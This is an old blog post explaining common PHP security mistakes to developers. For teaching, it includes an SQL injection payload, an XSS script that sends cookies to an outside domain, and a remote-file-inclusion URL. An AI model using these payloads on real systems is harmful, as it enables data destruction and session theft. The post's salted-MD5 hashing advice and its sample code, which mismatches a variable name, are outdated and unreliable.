Common Security Flaws In PHP ApplicationsMattias Geniar, Wednesday, August 13, 2008
No matter how long you've been programming or scripting, once in a while you'll catch yourself making a serious (security) flaw that you thought you'd never make, because you "have the experience". Some of the most basic things a programmer should think of, but often forgets -- because after all, we have to think of *a lot* of best-practice situations.
Though this list isn't limited to PHP (and will have a lot of appliances in other common web languages as well), I'll use PHP as my examples.
1. Check for the correct credentials. Every. Single. Time.
This is a very common "programming mistake", and can be divided into two sections. One is the actual analytic mistake, the other is shere laziness -- and they're often combined. If you use a login-system in order to perform certain actions, make sure you check for those credentials every time the user performs an action.
It's often to see a login script (ie: login.php), that'll check for the correct username & password, and redirect to another page (ie: edit_users.php) -- where no more checks exists. This means, if someone accesses that page directly (because they once had access and know the url, or because they're a good guesser) they can do the same things as someone who is logged in.
Another common issue is checking for the correct credentials to determine whether or not to display an URL (ie: a delete/edit action). Again, if someone knows this URL they don't need the correct credentials, they can just access the page directly.
What's the solution? Include a verification-page on every page where a user needs the correct credentials, that'll check your sessions/cookies to see if a user has legitimate access. If not, redirect them the the proper Login page. Also make sure to check the current logged in user's ID every time, and see if that user is allowed to edit/delete some article.
Most PHP script will pass article-IDs through a hidden form field, or via a URL. Make sure to check if the current user has the proper rights to edit it! Anyone can change an ID in the URL in order to edit something they were no supposed to.
2. Use salts for your passwords. Every. Single. Time.
It's a very simple trick to make your passwords much more secure, yet it's often forgotten in smaller projects. The problem is partially the users fault, as well as the programmer. If the user would use a password complicated enough, this wouldn't be necessary in the first place. But because they often use the names of relatives or loved ones, favorite animals or places or famous buildings as passwords -- they become vulnerable.
There are plenty of databases with MD5 hashes, that can crack textual passwords within seconds. They have millions of records, where text-strings are matched against a known MD5 hash to easily reverse engineer them.
By adding a salt to your password, you add a secret sentence or word to their passwords -- so the MD5 hash looks different. It's simple to implement, requires hardly no extra work, and doesn't slow things down. And it makes your passwords 100x more secure.
Where normally you'd have
$pass = md5($user_input);
you would know replace this by doing:
$my_secret_alt = "Just a random sentence, nothing spectacular."; $pass = md5($user_input . $my_secret_salt);
This causes your salt to be entirely different, and much more harder to crack.
3. Sanitize your input. Every. Single. Time.
Everyone thinks about it, and nearly everyone knows they have to do it, but in certain situations it's often forgotten. A projects meets a deadline and needs to be finished, you're tired of cleaning up input for the 1050th time, ... Yet it's probably one of the more serious flaws possible.
It opens the possibility for SQL Injections attacks, as well as XSS (Cross Site Scripting). Expect every input from a user, to be malicious. Expect every user to attempt to hack your site, and erase all your data.
If you just receive your variables, and use them in a SQL as follows
$sql = 'SELECT * FROM tbl_user WHERE id = '. $_GET['id'] ;
You're bound to run into trouble. If your "id"-query string is an integer, it's all good. But if your "id"-query string is something like "5; DROP TABLE tbl_user;" you just lost all your data -- because your query now looks like this.
$sql = "SELECT * FROM tbl_user WHERE id = 5; DROP TABLE tbl_user;";
<script> document.location = 'http://www.mydomain.com/store_cookie.php?' + document.cookie; </script>
Or are you thinking of dynamically importing pages? A common technique used to keep 1 "template" file, where the layout of your site is defined, and other pages with the actual content that is included. A common URL such as index.php?include=list_users.php could then be exploited by doing index.php?include=http://mydomain.info/evil_script.php .
Make sure you verify the user input. Don't skip on things because you lack time, or are sick of it. You'll have more work later when you're trying to fix everything that went wrong in the first place ...
4. Handle your errors properly, log them -- but hide them for your users.
It's a good thing to keep your PHP errors stored somewhere safe (in files outside your public folders), so you can fix them later. It's a bad thing to keep them displayed all the time. What if your database is down, and users see a "Unable to connect to MySQL using password 'mysecretpass' "-error?
Make use of existing error handling classes, or write some of your own. If you can't, or won't do that, at least disable error logging in your php.ini, by setting the "display_errors" value to "0", and the "log_errors" setting tot 1, in your php.ini file.
5. HTTPS exists for a reason, use it.
Why send sensitive data over HTTP when there is HTTPS? It encrypts your data by default, and requires no extra work from you (other than to configure your webserver, which really doesn't take too long). You don't want passwords, usernames or creditcard numbers flying over your network in plain text, so make use of the tools that are presented, and start making use of HTTPS.
For that same reason it's preferred to use SFTP over the insecure FTP, which will also send all your data in plain text -- ready for someone to sniff your traffic and reveal your data.
6. Read. Think. Discuss. Write.
Preferable in that order. Whenever you want to write a new application, do some research about the subject. Read on about different types of authorization, what could fit your project the best.
Think about your problem and all possible solutions -- and implement the one that fits your needs the most. You can often combine several common techniques, to create a new and perhaps better implementation. And if you do, share it with the world -- publish your source code. It'll help spread the knowledge, and could get you further hints and input from others. This is what drives open source.
Then it's time to discuss your thoughts. Talk with others to see how they think about it. Do they have objections against your technique? Flaws you missed? If you keep it to yourself, you'll never learn anything new.
After you've read about it, thought of a solution and have discussed it with the world -- it's time to write your application. Though this seems like a lot of work to do beforehand, it's actually less work than having to re-write source code over and over again, to patch security holes.
There are plenty more commonly made security flaws, such as improper PHP configuration (register_globals, safe_mode, open_basedir, ...), directory listing, session management, ... Share your thoughts about these, it's time to educate the public! ;-)